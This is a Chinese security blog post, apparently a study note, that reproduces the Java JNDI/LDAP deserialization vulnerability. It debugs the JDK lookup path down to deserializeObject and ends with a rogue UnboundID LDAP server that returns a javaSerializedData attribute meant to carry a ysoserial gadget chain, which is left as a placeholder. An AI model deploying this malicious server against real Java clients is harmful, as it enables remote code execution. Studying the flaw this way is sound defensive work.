0x01 前言
最近又回顾了一下LDAP反序列化漏洞,之前没有做笔记,借着这次机会补上,从漏洞复现角度出发,学习漏洞原理。
0x02 漏洞分析
01 环境搭建
老样子,我们先来搭建复现需要的环境,新建一个空的maven项目,导入依赖
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
</dependencies>
这里需要用到com.unboundid包,它可以用来创建一个测试的ldap服务及客户端,服务端代码如下
package ldaptest;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchRequest;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class LdapServer2 {
public static void main(String[] args) {
doit();
}
private static void doit() {
try {
// 创建配置类
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=com");
// 添加自定义配置
config.setListenerConfigs(new InMemoryListenerConfig(
"TestListen",
InetAddress.getByName("0.0.0.0"),
1899,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()
));
// 添加自定义拦截器TestOperationInterceptor
config.addInMemoryOperationInterceptor(new TestOperationInterceptor());
// 创建服务类
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
// 启动服务类
server.startListening();
System.out.println("ldap 服务已启动,port: " + server.getListenPort());
System.in.read();
server.shutDown(true);
} catch (LDAPException e) {
e.printStackTrace();
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
private static class TestOperationInterceptor extends InMemoryOperationInterceptor {
public void processSearchResult(InMemoryInterceptedSearchResult result) {
System.out.println("被拦截,方法 processSearchResult");
try {
// 发送Entry 项
Entry entry = new Entry("dc=test,dc=com");
entry.addAttribute(new Attribute("name", "whatever"));
entry.addAttribute(new Attribute("age", "18"));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(result.getMessageID(), ResultCode.SUCCESS));
} catch (LDAPException e) {
e.printStackTrace();
}
super.processSearchResult(result);
}
public void processSearchRequest(InMemoryInterceptedSearchRequest request) throws LDAPException {
System.out.println("被拦截,方法processSearchRequest");
super.processSearchRequest(request);
}
}
}
客户端代码如下
package ldaptest;
import com.unboundid.ldap.sdk.*;
public class LDAPClient {
public static void main(String[] args) {
// 连接到LDAP服务器的端口,确保与服务端打印的端口一致
int ldapPort = 1899;
try (LDAPConnection connection = new LDAPConnection("127.0.0.1", ldapPort)) {
SearchResult result = connection.search(
"dc=example,dc=com", // 基于搜索的DN
SearchScope.SUB, // 搜索范围
"(objectClass=*)" // 搜索过滤器,搜索所有对象
);
if (result.getEntryCount() == 0) {
System.out.println("No entries found.");
} else {
for (SearchResultEntry entry : result.getSearchEntries()) {
System.out.println(entry);
System.out.println(entry.toLDIFString());
}
}
} catch (LDAPException e) {
e.printStackTrace();
}
}
}
启动服务端
执行客户端,发起ldap查询请求,打印结果
至此初步环境就搭建好了
这里要简单解释一下服务端类
private static class TestOperationInterceptor extends InMemoryOperationInterceptor {
public void processSearchResult(InMemoryInterceptedSearchResult result) {
System.out.println("被拦截,方法 processSearchResult");
try {
// 发送Entry 项
Entry entry = new Entry("dc=test,dc=com");
entry.addAttribute(new Attribute("name", "whatever"));
entry.addAttribute(new Attribute("age", "18"));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(result.getMessageID(), ResultCode.SUCCESS));
} catch (LDAPException e) {
e.printStackTrace();
}
super.processSearchResult(result);
}
public void processSearchRequest(InMemoryInterceptedSearchRequest request) throws LDAPException {
System.out.println("被拦截,方法processSearchRequest");
super.processSearchRequest(request);
}
}
这里的自定义拦截器类,是用来拦截ldap查询请求,可以修改返回结果,将结果修改成我们自定义的任意值,类似于spring boot的拦截器,每次请求时都会触发,这在后面漏洞利用的时候也起到了很大的作用。
02 LDAP前置知识
LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」,它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。
我们主要要了解的就是他的一些名词
Entry 项
在用户目录中,看到的每一行,都可以叫做一项,不论是叶子节点还是中间的节点,也叫做条目。
项包含一个 DN,一些属性,一些对象类。
dn(Distinguished Name)分辨名
dn 如下图白色方框中的内容,「分辨名」用于唯一标识一个「项」,以及他在目录信息树中的位置。可以和文件系统中文件路径类比。类似于关系型数据库中的主键。dn 字符串从左向右,各组成部分依次向树根靠近。
rdn(Relative Distinguished Name)相对分辨名
Rdn 就是「键值对」,如下图黄色方框中的内容。dn 由若干个 rdn 组成,以逗号分隔。
dc(Domain Component)(域名组成)
example.com变成dc=example,dc=com(一条记录的所属位置)
这里列举了文中需要了解的名词,更详细的可以看参考链接文章
03 调试分析
接下来我们就要调试分析代码了,这里我会先从正常执行流程分析,然后解释为何会产生漏洞
我们需要新建一个类,代码如下
package ldaptest;
import javax.naming.Context;
import javax.naming.InitialContext;
public class CLIENT {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1899/123";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
这就是直接使用jdk自带的jndi的接口调用lookup,向ldap服务端发起请求,服务端保持开启状态,在11行打上断点
跟入lookup方法
这里分为两步,第一步是根据传入的uri获取对应的协议上下文对象,然后再调用该对象的lookup方法,我们先走第一步
先是判断是否有初始化工厂构造器,没有之后,往下获取协议头ldap,调用NamingManager.getURLContext(scheme, myProps)方法,继续跟入
调用getURLObject(scheme, null, null, null, environment)获取对象,之后返回对象,跟入该方法
可以看到通过类加载的方式,将com.sun.jndi.url.ldap.ldapURLContextFactory加载进内存,实例化返回
之后调用factory.getObjectInstance(urlInfo, name, nameCtx, environment)方法,并返回
最后返回ldapURLContext对象,这里感兴趣的童鞋可以跟着完整调试一遍,回到lookup方法
继续跟入
继续跟入
继续跟入
继续跟入
这里对请求的uri进行解析,然后实例化com.sun.jndi.ldap.LdapCtx对象,最后封装到javax.naming.spi.ResolveResult对象中
回到上一层lookup方法
获取封装在ResolveResult中的LdapCtx对象,调用lookup方法,传入dn
跟入lookup方法
到这里就离漏洞触发点不远了,将LdapCtx对象赋值给var2,var1也就是dn赋值给var6,然后调用com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup方法,跟入
这里先根据dn解析出head和tail,状态码设置为2,然后会调用this.c_lookup(var4.getHead(), var2),跟入
这里调用this.doSearchOnce(var1, "(objectClass=*)", var22, true)方法,从ldap服务端中搜索所有对象,获取结果集,也就是服务端中定义的entry对象
继续往下走
这里会先将entry中的属性取出来,赋值给var4,然后进入下面的if判断,如果符合条件,则调用Obj.decodeObject((Attributes)var4)
我们先看一下Obj.JAVA_ATTRIBUTES数组中有哪些属性
这里很显然我们的entry不满足该条件,不过Obj.decodeObject方法就是触发漏洞的关键所在,我们直接ctrl点进去看看
当entry包含JAVA_ATTRIBUTES[1]的时候,调用deserializeObject((byte[])((byte[])var1.get()), var3),来看一下JAVA_ATTRIBUTES数组
可以看到下标为1的属性值是javaSerializedData,我们现在假设满足该条件,这里 (byte[])((byte[])var1.get()) 是获取属性名为javaSerializedData时的属性值,ctrl点进deserializeObject方法
到这里就一目了然了,var0是属性名为javaSerializedData时的属性值,对其进行了反序列化操作,这也就是漏洞产生的导火索
04 构造POC
回顾前面分析的,如果我们的entry要进入到最后反序列化的环节,需要满足以下两个条件
-
((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null,也就是entry的属性中得包含这样的键值对:new Attribute("javaClassName", "com.test")
-
(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null,也就是entry的属性中还得包含这样的键值对:new Attribute("javaSerializedData", byte数组)
这么看下来,因为entry返回的结果是我们伪造的服务端可控的,所以,这两个条件我们完全可以实现
修改后的服务端代码如下
package ldaptest;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchRequest;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.*;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.text.ParseException;
public class LdapServer2 {
public static void main(String[] args) {
doit();
}
private static void doit() {
try {
// 创建配置类
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=test,dc=com");
// 添加自定义配置
config.setListenerConfigs(new InMemoryListenerConfig(
"TestListen",
InetAddress.getByName("0.0.0.0"),
1899,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()
));
// 添加自定义拦截器TestOperationInterceptor
config.addInMemoryOperationInterceptor(new TestOperationInterceptor());
// 创建服务类
InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
// 启动服务类
server.startListening();
System.out.println("ldap 服务已启动,port: " + server.getListenPort());
System.in.read();
server.shutDown(true);
} catch (LDAPException e) {
e.printStackTrace();
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
private static class TestOperationInterceptor extends InMemoryOperationInterceptor {
public void processSearchResult(InMemoryInterceptedSearchResult result) {
System.out.println("被拦截,方法 processSearchResult");
try {
// 发送Entry 项
Entry entry = new Entry("dc=test,dc=com");
/*entry.addAttribute(new Attribute("name", "whatever"));
entry.addAttribute(new Attribute("age", "18"));*/
entry.addAttribute(new Attribute("javaClassName", "whatever"));
entry.addAttribute(new Attribute("javaSerializedData", Base64.decode("evalClass_base64")));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(result.getMessageID(), ResultCode.SUCCESS));
} catch (LDAPException e) {
e.printStackTrace();
} catch (ParseException e) {
e.printStackTrace();
}
super.processSearchResult(result);
}
public void processSearchRequest(InMemoryInterceptedSearchRequest request) throws LDAPException {
System.out.println("被拦截,方法processSearchRequest");
super.processSearchRequest(request);
}
}
}
这里的evalClass_base64就是ysoserial生成的链子,然后读写成base64字符串,主要是方便读取执行,也可以用我上一篇讲的FastJson原生链生成base64测试
0x03 总结
本次技术含量不高,只是复现留做笔记,给我的感觉是,正向复现分析漏洞其实不是最难的,难的是逆向分析还原到构造poc,向大佬们致敬!
0x04 参考文章
LDAP协议(轻量目录访问协议)简介
https://syxdevcode.github.io/2022/04/17/LDAP%E5%8D%8F%E8%AE%AE%EF%BC%88%E8%BD%BB%E9%87%8F%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE%EF%BC%89%E7%AE%80%E4%BB%8B/
原文始发于微信公众号(伟盾网络安全):LDAP反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论